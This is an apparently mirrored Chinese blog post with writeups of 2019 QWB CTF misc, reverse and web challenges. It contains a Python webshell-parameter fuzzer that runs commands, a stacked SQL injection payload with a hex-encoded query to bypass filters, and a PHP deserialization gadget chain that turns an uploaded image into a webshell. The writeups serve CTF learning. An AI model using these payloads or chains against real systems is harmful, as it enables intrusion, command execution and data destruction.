zoukankan      html  css  js  c++  java
  • 2019强网杯部分misc&web

    
    

    0x01 前言

    前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下。

    0x02 鲲or鳗orGame

    最先开始做的便是这道MISC的题目“鲲or鳗orGame”0101

     

    进入网站后,发现鲲or鳗orGame有3个选项

    鲲和鳗打开分别有一段mp3就是鸡你太美和大碗宽面

    听音频除了其中一首歌前面加了几秒的键盘敲击声都没什么区别,用Audacity打开查看频谱也没有发现问题,WinHex二进制分析也没有发现什么特殊的地方,尝试使用MP3Stego提取文件,也没有找到密码,也没看到什么提示,就很是难受,就转向去分析游戏游戏如图,看了就知道怎么玩

    完了几把,发现难度还是那么大,难受.jpg,查看网页源码,就是一堆js文件

    没有看出区别后,我还是觉得mp3会有问题,一直分析了好久,都没有结果

    比赛结束后放出了wp,看了后才明白怎么弄,在游戏页面加载时还有一个gb文件

    将文件按目录全部保存到本地,使用VisualBoyAdvance模拟器可以打开这个gb文件,达到本地浏览效果,然且这个模拟器还有金手指功能

    打开游戏

    后先打开一个搜索,然后完了几把,通过最高纪录和本次的分,发现主要是两个位置

    将最高纪录分数改到255,使用16进制表示

    再开一把游戏,不管玩到多少分,都会弹出flag

    0x03 逆向题 强网先锋 AD

    这道题也是当时看了很久,没有分析出来,看了wp才明白的,附件下载下来,并没有尾缀

    直接拖到IDA中F5,查看main函数,从v44到v40将原本的数字转为字符

    发现最后有两个等号,果断Base64,但是第一个v44时int型的,不能计算,只记录后面的

    ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ== base64 Decode

    0x04 MISC 打野

    附件下载下来解压后,是一个名字为“瞅啥”的rar压缩包,解压后,一张鲲的图片

    使用zsteg 得到flag

    0x05 高明的黑客

    页面打开后如图

    访问 wensite/www.tar.gz 得到源码压缩包,解压后3002个命名奇特的文件,而且每个文件打开都是很奇怪的代码

    看页面内容为高明的黑客,而且php文件里面也发现了大量GET和POST提交的变量,可能是shell的密码,但是不知道到底是哪个php文件的哪个参数,写脚本fuzz

    import os
    import requests
    from multiprocessing import Pool

    path = "/src/"#下载下来源码文件路径
    files = os.listdir(path)
    url = "http://localhost/src/"#网站地址


    def extract(f):
      gets = []
      with open(path+f, 'r') as f:
          lines = f.readlines()
          lines = [i.strip() for i in lines]
          for line in lines:
              if line.find("$_GET['") > 0:
                  start_pos = line.find("$_GET['") + len("$_GET['")
                  end_pos = line.find("'", start_pos)
                  gets.append(line[start_pos:end_pos])
      return gets


    def exp(start, end):
      for i in range(start, end):
          filename = files[i]
          gets = extract(filename)
          print "try: %s" % filename
          for get in gets:
              new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
              r = requests.get(new_url)
              if 'got it' in r.content:
                  print new_url
                  break


    def main():
      pool = Pool(processes=15)
      for i in range(0, len(files), len(files)/15):
          pool.apply_async(exp, (i, +len(files)/15,))
      pool.close()
      pool.join()


    if __name__ == "__main__":
      main()

    跑出来是xk0SzyKwfzw.php 这个文件,GET提交参数Efa5BVG

    直接cat获取到flagwebsite/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

    0x06 随便注

    这道题主要考察堆叠注入

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

    随便测试一下,提交1‘ union select 1,2,3,返回

    return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

    存在过滤,基本关键词都被过滤了,使用堆叠注入

    提交 1';show tables; # 显示

    array(2) {
    [0]=>
    string(1) "1"
    [1]=>
    string(7) "hahahah"
    }

    array(1) {
    [0]=>
    string(16) "1919810931114514"
    }

    array(1) {
    [0]=>
    string(5) "words"
    }

    提交1';show columns from '1919810931114514';# 返回1919810931114514中的字段名

    直接用存储过程+16进制进行绕过,,并返回结果

    1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

    0x07 Upload

    20191101添加

    页面打开后,可以登陆,和注册,注册一个账号后,发现是一个上传界面

    但是只能上传图片,且不会给出上传的位置,应该需要就是上传木马,但是经过尝试只能上传图片马,不能直接利用,使用dirsearch路径扫描,发现源码泄露,直接访问www.tar.gz就可以得到源码,接下来进行代码审计

     

    是个tp5的框架系统,首先查看路由信息,主要关注index和upload_img

     

    先看index.php,在login_check方法中,系统从cookie中获取到字符串,然后反序列化

    在Profile中,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,就可以实现图片马了。

    在后面,还存在两个魔术方法

    继续看Register.php,在tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。

    最后的攻击链为:

     Register->__destruct
    Profile-> __call
    Profile-> __get
    Profile-> upload_img()

    我们先上传一个图片马上去,上传之后可以F12找到文件路径,并访问

    构造如下代码,并在本地运行,得到一个cookie,使用这个cookie替换题目站得cookie

    <?php
    namespace appwebcontroller;
    class Profile
    {
        public $checker=0;
        public $filename_tmp="../public/upload/f4e7685fe689f675c85caeefaedcf40c/3b5cc1c061dce193bb89ea4ee47ace85.png";
        public $filename="../public/upload/f4e7685fe689f675c85caeefaedcf40c/xianyu.php";
        public $upload_menu;
        public $ext=1;
        public $img;
        public $except=array('index'=>'upload_img');
    }
    class Register
    {
        public $checker;
        public $registed=0;
    }
    $a=new Register();
    $a->checker=new Profile();
    $a->checker->checker = 0;
    // echo serialize($a);
    echo base64_encode(serialize($a));
    ?>

    连上之后,在根目录可以读flag

     

     

    0x08 目前就看了这几个wp,以后看了其他的,会尽量复现一下

     

  • 相关阅读:
    9月16日 星期二 晴
    谁能联系到小爱
    初学者请教Reporting Service达人,小女给能够进来看一眼的好心人抱拳一拜
    9月19日 多云
    iPhone开发教程之Core Data 常见问题的总结
    移动终端开发必备知识
    Core Data 教程(3): 入门指南
    【转载】APK反破解之四:Android代码动态加载技术
    REST是什么
    (转载)设计师必备工具推荐(上)【译】
  • 原文地址:https://www.cnblogs.com/sesefadou/p/11788029.html
Copyright © 2011-2022 走看看